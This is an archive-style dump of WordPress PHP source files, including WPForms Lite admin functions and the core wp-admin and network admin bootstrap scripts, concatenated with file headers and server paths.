	return apply_filters( 'wpforms_upgrade_link', 'https://wpforms.com/lite-upgrade/?discount=LITEUPGRADE&amp;utm_source=WordPress&amp;utm_medium=' . sanitize_key( apply_filters( 'wpforms_upgrade_link_medium', $medium ) ) . '&amp;utm_campaign=liteplugin' );
}

/**
 * Check the current PHP version and display a notice if on unsupported PHP.
 *
 * @since 1.4.0.1
 * @since 1.5.0 Raising this awareness of old PHP version message from 5.2 to 5.3.
 */
function wpforms_check_php_version() {

	// Display for PHP below 5.6
	if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
		return;
	}

	// Display for admins only.
	if ( ! is_super_admin() ) {
		return;
	}

	// Display on Dashboard page only.
	if ( isset( $GLOBALS['pagenow'] ) && 'index.php' !== $GLOBALS['pagenow'] ) {
		return;
	}

	// Display the notice, finally.
	WPForms_Admin_Notice::error(
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %1$s - WPForms plugin name; %2$s - WPForms.com URL to a related doc. */
				__( 'Your site is running an outdated version of PHP that is no longer supported and may cause issues with %1$s. <a href="%2$s" target="_blank" rel="noopener noreferrer">Read more</a> for additional information.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'<strong>WPForms</strong>',
			'https://wpforms.com/docs/supported-php-version/'
		) .
		'<br><br><em>' .
		wp_kses(
			__( '<strong>Please Note:</strong> Support for PHP 5.3 to 5.5 will be discontinued in 2019. After this, if no further action is taken, WPForms functionality will be disabled.', 'wpforms-lite' ),
			array(
				'strong' => array(),
				'em'     => array(),
			)
		) .
		'</em></p>'
	);
}
add_action( 'admin_init', 'wpforms_check_php_version' );

/**
 * Get an upgrade modal text.
 *
 * @since 1.4.4
 *
 * @return string
 */
function wpforms_get_upgrade_modal_text() {

	return
		'<p>' .
		esc_html__( 'Thanks for your interest in WPForms Pro!', 'wpforms-lite' ) . '<br>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com contact page URL. */
				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/contact/'
		) .
		'</p>' .
		'<p>' .
		wp_kses(
			__( 'After purchasing WPForms Pro, you\'ll need to <strong>download and install the Pro version of the plugin</strong>, and then <strong>remove the free plugin</strong>.', 'wpforms-lite' ),
			array(
				'strong' => array(),
			)
		) . '<br>' .
		esc_html__( '(Don\'t worry, all your forms and settings will be preserved.)', 'wpforms-lite' ) .
		'</p>' .
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&amp;utm_medium=link&amp;utm_campaign=liteplugin'
		) .
		'</p>';
}
home/xbodynamge/crosstraining/wp-content/plugins/wpforms-lite/includes/admin/admin.php000060400000036131151137354610025432 0ustar00<?php
/**
 * Global admin related items and functionality.
 *
 * @package    WPForms
 * @author     WPForms
 * @since      1.3.9
 * @license    GPL-2.0+
 * @copyright  Copyright (c) 2017, WPForms LLC
 */

/**
 * Load styles for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_styles() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	// jQuery confirm.
	wp_enqueue_style(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery-confirm.min.css',
		array(),
		'3.3.2'
	);

	// Minicolors (color picker).
	wp_enqueue_style(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery.minicolors.css',
		array(),
		'2.2.6'
	);

	// FontAwesome.
	wp_enqueue_style(
		'wpforms-font-awesome',
		WPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',
		null,
		'4.7.0'
	);

	// Main admin styles.
	wp_enqueue_style(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/css/admin{$min}.css",
		array(),
		WPFORMS_VERSION
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_styles' );

/**
 * Load scripts for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_scripts() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	wp_enqueue_media();

	// jQuery confirm.
	wp_enqueue_script(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.jquery-confirm.min.js',
		array( 'jquery' ),
		'3.3.2',
		false
	);

	// Minicolors (color picker).
	wp_enqueue_script(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.minicolors.min.js',
		array( 'jquery' ),
		'2.2.6',
		false
	);

	// Choices.js.
	wp_enqueue_script(
		'choicesjs',
		WPFORMS_PLUGIN_URL . 'assets/js/choices.min.js',
		array(),
		'2.8.10',
		false
	);

	// jQuery Conditionals.
	wp_enqueue_script(
		'jquery-conditionals',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.conditionals.min.js',
		array( 'jquery' ),
		'1.0.1',
		false
	);

	// Main admin script.
	wp_enqueue_script(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/js/admin{$min}.js",
		array( 'jquery' ),
		WPFORMS_VERSION,
		false
	);

	$strings = array(
		'addon_activate'                  => esc_html__( 'Activate', 'wpforms-lite' ),
		'addon_activated'                 => esc_html__( 'Activated', 'wpforms' ),
		'addon_active'                    => esc_html__( 'Active', 'wpforms-lite' ),
		'addon_deactivate'                => esc_html__( 'Deactivate', 'wpforms-lite' ),
		'addon_inactive'                  => esc_html__( 'Inactive', 'wpforms-lite' ),
		'addon_install'                   => esc_html__( 'Install Addon', 'wpforms-lite' ),
		'addon_error'                     => esc_html__( 'Could not install an addon. Please download from wpforms.com and install manually.', 'wpforms' ),
		'plugin_error'                    => esc_html__( 'Could not install a plugin. Please download from WordPress.org and install manually.', 'wpforms-lite' ),
		'addon_search'                    => esc_html__( 'Searching Addons', 'wpforms-lite' ),
		'ajax_url'                        => admin_url( 'admin-ajax.php' ),
		'cancel'                          => esc_html__( 'Cancel', 'wpforms-lite' ),
		'close'                           => esc_html__( 'Close', 'wpforms-lite' ),
		'entry_delete_confirm'            => esc_html__( 'Are you sure you want to delete this entry?', 'wpforms-lite' ),
		'entry_delete_all_confirm'        => esc_html__( 'Are you sure you want to delete ALL entries?', 'wpforms-lite' ),
		'entry_empty_fields_hide'         => esc_html__( 'Hide Empty Fields', 'wpforms-lite' ),
		'entry_empty_fields_show'         => esc_html__( 'Show Empty Fields', 'wpforms-lite' ),
		'entry_field_columns'             => esc_html__( 'Entries Field Columns', 'wpforms-lite' ),
		'entry_note_delete_confirm'       => esc_html__( 'Are you sure you want to delete this note?', 'wpforms-lite' ),
		'entry_unstar'                    => esc_html__( 'Unstar entry', 'wpforms-lite' ),
		'entry_star'                      => esc_html__( 'Star entry', 'wpforms-lite' ),
		'entry_read'                      => esc_html__( 'Mark entry read', 'wpforms-lite' ),
		'entry_unread'                    => esc_html__( 'Mark entry unread', 'wpforms-lite' ),
		'form_delete_confirm'             => esc_html__( 'Are you sure you want to delete this form?', 'wpforms-lite' ),
		'form_duplicate_confirm'          => esc_html__( 'Are you sure you want to duplicate this form?', 'wpforms-lite' ),
		'heads_up'                        => esc_html__( 'Heads up!', 'wpforms-lite' ),
		'importer_forms_required'         => esc_html__( 'Please select at least one form to import.', 'wpforms-lite' ),
		'isPro'                           => wpforms()->pro,
		'nonce'                           => wp_create_nonce( 'wpforms-admin' ),
		'ok'                              => esc_html__( 'OK', 'wpforms-lite' ),
		'plugin_install_activate_btn'     => esc_html__( 'Install and Activate', 'wpforms-lite' ),
		'plugin_install_activate_confirm' => esc_html__( 'needs to be installed and activated to import its forms. Would you like us to install and activate it for you?', 'wpforms-lite' ),
		'plugin_activate_btn'             => esc_html__( 'Activate', 'wpforms-lite' ),
		'plugin_activate_confirm'         => esc_html__( 'needs to be activated to import its forms. Would you like us to activate it for you?', 'wpforms-lite' ),
		'provider_delete_confirm'         => esc_html__( 'Are you sure you want to disconnect this account?', 'wpforms-lite' ),
		'provider_auth_error'             => esc_html__( 'Could not authenticate with the provider.', 'wpforms-lite' ),
		'save_refresh'                    => esc_html__( 'Save and Refresh', 'wpforms-lite' ),
		'settings_form_style_base'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>Base Styling Only</strong>, which may result in styling issues. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for common issues and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'settings_form_style_none'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>No Styling</strong>, which will likely result in significant styling issues and is recommended only for developers. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for more details and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'testing'                         => esc_html__( 'Testing', 'wpforms-lite' ),
		'upgrade_completed'               => esc_html__( 'Upgrade was successfully completed!', 'wpforms-lite' ),
		'upload_image_title'              => esc_html__( 'Upload or Choose Your Image', 'wpforms-lite' ),
		'upload_image_button'             => esc_html__( 'Use Image', 'wpforms-lite' ),
		'upgrade_modal'                   => wpforms_get_upgrade_modal_text(),
		'choicesjs_fields_select'         => esc_html__( 'Select fields', 'wpforms-lite' ),
		'choicesjs_loading'               => esc_html__( 'Loading...', 'wpforms-lite' ),
		'choicesjs_no_results'            => esc_html__( 'No results found', 'wpforms-lite' ),
		'choicesjs_no_choices'            => esc_html__( 'No choices to choose from', 'wpforms-lite' ),
		'choicesjs_item_select'           => esc_html__( 'Press to select', 'wpforms-lite' ),
	);
	$strings = apply_filters( 'wpforms_admin_strings', $strings );

	wp_localize_script(
		'wpforms-admin',
		'wpforms_admin',
		$strings
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_scripts' );

/**
 * Add body class to WPForms admin pages for easy reference.
 *
 * @since 1.3.9
 *
 * @param string $classes CSS classes, space separated.
 *
 * @return string
 */
function wpforms_admin_body_class( $classes ) {

	if ( ! wpforms_is_admin_page() ) {
		return $classes;
	}

	return "$classes wpforms-admin-page";
}

add_filter( 'admin_body_class', 'wpforms_admin_body_class', 10, 1 );

/**
 * Outputs the WPForms admin header.
 *
 * @since 1.3.9
 */
function wpforms_admin_header() {

	// Bail if we're not on a WPForms screen or page (also exclude form builder).
	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	// Omit header from Welcome activation screen.
	if ( 'wpforms-getting-started' === $_REQUEST['page'] ) {
		return;
	}
	?>
	<div id="wpforms-header-temp"></div>
	<div id="wpforms-header" class="wpforms-header">
		<img class="wpforms-header-logo" src="<?php echo WPFORMS_PLUGIN_URL; ?>assets/images/logo.png" alt="WPForms Logo"/>
	</div>
	<?php
}

add_action( 'in_admin_header', 'wpforms_admin_header', 100 );

/**
 * Remove non-WPForms notices from WPForms pages.
 *
 * @since 1.3.9
 */
function wpforms_admin_hide_unrelated_notices() {

	// Bail if we're not on a WPForms screen or page.
	if ( empty( $_REQUEST['page'] ) || strpos( $_REQUEST['page'], 'wpforms' ) === false ) {
		return;
	}

	global $wp_filter;

	if ( ! empty( $wp_filter['user_admin_notices']->callbacks ) && is_array( $wp_filter['user_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['user_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['admin_notices']->callbacks ) && is_array( $wp_filter['admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['all_admin_notices']->callbacks ) && is_array( $wp_filter['all_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['all_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}
}

add_action( 'admin_print_scripts', 'wpforms_admin_hide_unrelated_notices' );

/**
 * Upgrade link used within the various admin pages.
 *
 * Previously was only included as a method in wpforms-lite.php, but made
 * available globally in 1.3.9.
 *
 * @since 1.3.9
 *
 * @param string $medium utm_medium URL parameter.
 *
 * @return string.
 */
function wpforms_admin_upgrade_link( $medium = 'link' ) {
	return apply_filters( 'wpforms_upgrade_link', 'https://wpforms.com/lite-upgrade/?discount=LITEUPGRADE&amp;utm_source=WordPress&amp;utm_medium=' . sanitize_key( apply_filters( 'wpforms_upgrade_link_medium', $medium ) ) . '&amp;utm_campaign=liteplugin' );
}

/**
 * Check the current PHP version and display a notice if on unsupported PHP.
 *
 * @since 1.4.0.1
 * @since 1.5.0 Raising this awareness of old PHP version message from 5.2 to 5.3.
 */
function wpforms_check_php_version() {

	// Display for PHP below 5.4.
	if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
		return;
	}

	// Display for admins only.
	if ( ! is_super_admin() ) {
		return;
	}

	// Display on Dashboard page only.
	if ( isset( $GLOBALS['pagenow'] ) && 'index.php' !== $GLOBALS['pagenow'] ) {
		return;
	}

	// Display the notice, finally.
	WPForms_Admin_Notice::error(
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %1$s - WPForms plugin name; %2$s - WPForms.com URL to a related doc. */
				__( 'Your site is running an outdated version of PHP that is no longer supported and may cause issues with %1$s. <a href="%2$s" target="_blank" rel="noopener noreferrer">Read more</a> for additional information.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'<strong>WPForms</strong>',
			'https://wpforms.com/docs/supported-php-version/'
		) .
		'<br><br><em>' .
		wp_kses(
			__( '<strong>Please Note:</strong> Support for PHP 5.3 will be discontinued in 2019. After this, if no further action is taken, WPForms functionality will be disabled.', 'wpforms-lite' ),
			array(
				'strong' => array(),
				'em'     => array(),
			)
		) .
		'</em></p>'
	);
}
add_action( 'admin_init', 'wpforms_check_php_version' );

/**
 * Get an upgrade modal text.
 *
 * @since 1.4.4
 *
 * @return string
 */
function wpforms_get_upgrade_modal_text() {

	return
		'<p>' .
		esc_html__( 'Thanks for your interest in WPForms Pro!', 'wpforms-lite' ) . '<br>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com contact page URL. */
				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/contact/'
		) .
		'</p>' .
		'<p>' .
		wp_kses(
			__( 'After purchasing WPForms Pro, you\'ll need to <strong>download and install the Pro version of the plugin</strong>, and then <strong>remove the free plugin</strong>.', 'wpforms-lite' ),
			array(
				'strong' => array(),
			)
		) . '<br>' .
		esc_html__( '(Don\'t worry, all your forms and settings will be preserved.)', 'wpforms-lite' ) .
		'</p>' .
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&amp;utm_medium=link&amp;utm_campaign=liteplugin'
		) .
		'</p>';
}
home/xbodynamge/crosstraining/wp-admin/network/admin.php000060400000002011151137555620017524 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/namtation/wp-admin/admin.php000060400000026233151137615260015151 0ustar00<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined( 'WP_NETWORK_ADMIN' ) ) {
	define( 'WP_NETWORK_ADMIN', false );
}

if ( ! defined( 'WP_USER_ADMIN' ) ) {
	define( 'WP_USER_ADMIN', false );
}

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define( 'WP_BLOG_ADMIN', true );
}

if ( isset( $_GET['import'] ) && ! defined( 'WP_LOAD_IMPORTERS' ) ) {
	define( 'WP_LOAD_IMPORTERS', true );
}

require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );

nocache_headers();

if ( get_option( 'db_upgraded' ) ) {
	flush_rewrite_rules();
	update_option( 'db_upgraded', false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );
} elseif ( get_option( 'db_version' ) != $wp_db_version && empty( $_POST ) ) {
	if ( ! is_multisite() ) {
		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;

		/**
		 * Filters whether to attempt to perform the multisite DB upgrade routine.
		 *
		 * In single site, the user would be redirected to wp-admin/upgrade.php.
		 * In multisite, the DB upgrade routine is automatically fired, but only
		 * when this filter returns true.
		 *
		 * If the network is 50 sites or less, it will run every time. Otherwise,
		 * it will throttle itself to reduce load.
		 *
		 * @since 3.0.0
		 *
		 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
		 */
	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

		/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int) ( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . '/http.php' );
			$response = wp_remote_get(
				admin_url( 'upgrade.php?step=1' ),
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
				)
			);
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset( $response );
		}
		unset( $c );
	}
}

require_once( ABSPATH . 'wp-admin/includes/admin.php' );

auth_redirect();

// Schedule trash collection
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'wp_scheduled_delete' );
}

// Schedule Transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php
 * $wp_importers is sometimes set in wp-admin/includes/import.php
 * The remaining variables are imported as globals elsewhere, declared as globals here
 *
 * @global string $pagenow
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow
 * @global string $taxnow
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset( $_GET['page'] ) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename( $plugin_page );
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
	$typenow = $_REQUEST['post_type'];
} else {
	$typenow = '';
}

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) ) {
	$taxnow = $_REQUEST['taxonomy'];
} else {
	$taxnow = '';
}

if ( WP_NETWORK_ADMIN ) {
	require( ABSPATH . 'wp-admin/network/menu.php' );
} elseif ( WP_USER_ADMIN ) {
	require( ABSPATH . 'wp-admin/user/menu.php' );
} else {
	require( ABSPATH . 'wp-admin/menu.php' );
}

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset( $plugin_page ) ) {
	if ( ! empty( $typenow ) ) {
		$the_parent = $pagenow . '?post_type=' . $typenow;
	} else {
		$the_parent = $pagenow;
	}

	$page_hook = get_plugin_page_hook( $plugin_page, $the_parent );
	if ( ! $page_hook ) {
		$page_hook = get_plugin_page_hook( $plugin_page, $plugin_page );

		// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook( $plugin_page, 'tools.php' ) ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
				$query_string = $_SERVER['QUERY_STRING'];
			} else {
				$query_string = 'page=' . $plugin_page;
			}
			wp_redirect( admin_url( 'tools.php?' . $query_string ) );
			exit;
		}
	}
	unset( $the_parent );
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset( $plugin_page ) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" );
		if ( ! isset( $_GET['noheader'] ) ) {
			require_once( ABSPATH . 'wp-admin/admin-header.php' );
		}

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * This hook uses a dynamic hook name, `$page_hook`, which refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

		if ( ! ( file_exists( WP_PLUGIN_DIR . "/$plugin_page" ) && is_file( WP_PLUGIN_DIR . "/$plugin_page" ) ) && ! ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) && is_file( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) ) {
			wp_die( sprintf( __( 'Cannot load %s.' ), htmlentities( $plugin_page ) ) );
		}

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" );

		if ( ! isset( $_GET['noheader'] ) ) {
			require_once( ABSPATH . 'wp-admin/admin-header.php' );
		}

		if ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) {
			include( WPMU_PLUGIN_DIR . "/$plugin_page" );
		} else {
			include( WP_PLUGIN_DIR . "/$plugin_page" );
		}
	}

	include( ABSPATH . 'wp-admin/admin-footer.php' );

	exit();
} elseif ( isset( $_GET['import'] ) ) {

	$importer = $_GET['import'];

	if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
	}

	if ( validate_file( $importer ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	if ( ! isset( $wp_importers[ $importer ] ) || ! is_callable( $wp_importers[ $importer ][2] ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" );

	$parent_file  = 'tools.php';
	$submenu_file = 'import.php';
	$title        = __( 'Import' );

	if ( ! isset( $_GET['noheader'] ) ) {
		require_once( ABSPATH . 'wp-admin/admin-header.php' );
	}

	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

	define( 'WP_IMPORTING', true );

	/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

	call_user_func( $wp_importers[ $importer ][2] );

	include( ABSPATH . 'wp-admin/admin-footer.php' );

	// Make sure rules are flushed
	flush_rewrite_rules( false );

	exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current page, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" );

	/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( $typenow == 'page' ) {
		if ( $pagenow == 'post-new.php' ) {
			do_action( 'load-page-new.php' );
		} elseif ( $pagenow == 'post.php' ) {
			do_action( 'load-page.php' );
		}
	} elseif ( $pagenow == 'edit-tags.php' ) {
		if ( $taxnow == 'category' ) {
			do_action( 'load-categories.php' );
		} elseif ( $taxnow == 'link_category' ) {
			do_action( 'load-edit-link-categories.php' );
		}
	} elseif ( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' );
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	$action = $_REQUEST['action'];

	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to
	 * the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( "admin_action_{$action}" );
}
